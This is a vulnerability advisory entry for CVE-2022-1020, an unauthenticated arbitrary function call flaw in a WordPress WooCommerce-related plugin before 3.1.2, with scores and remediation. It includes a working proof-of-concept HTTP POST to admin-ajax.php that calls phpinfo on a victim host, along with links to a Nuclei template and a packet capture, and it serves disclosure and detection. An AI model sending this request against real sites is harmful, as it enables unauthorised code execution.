| Title | WordPress WooCommerce <3.1.2 - Arbitrary Function Call |
|---|---|
| Author | Akincibor |
| Severity | Critical |
| Impact | It allows remote code execution on the affected system. |
| Remediation | Update WordPress WooCommerce plugin to version 3.1.2 or later to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92138 |
| CVE ID | CVE-2022-1020 |
| CWE ID | CWE-352 |
| Tags | cve cve2022 wpscan wp wp-plugin wordpress unauth codeastrology vkev vuln |
WordPress WooCommerce plugin before 3.1.2 does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument.
POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Connection: close
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
option_key=a&perpose=update&callback=phpinfo
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1020.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1020.pcap
N/AN/A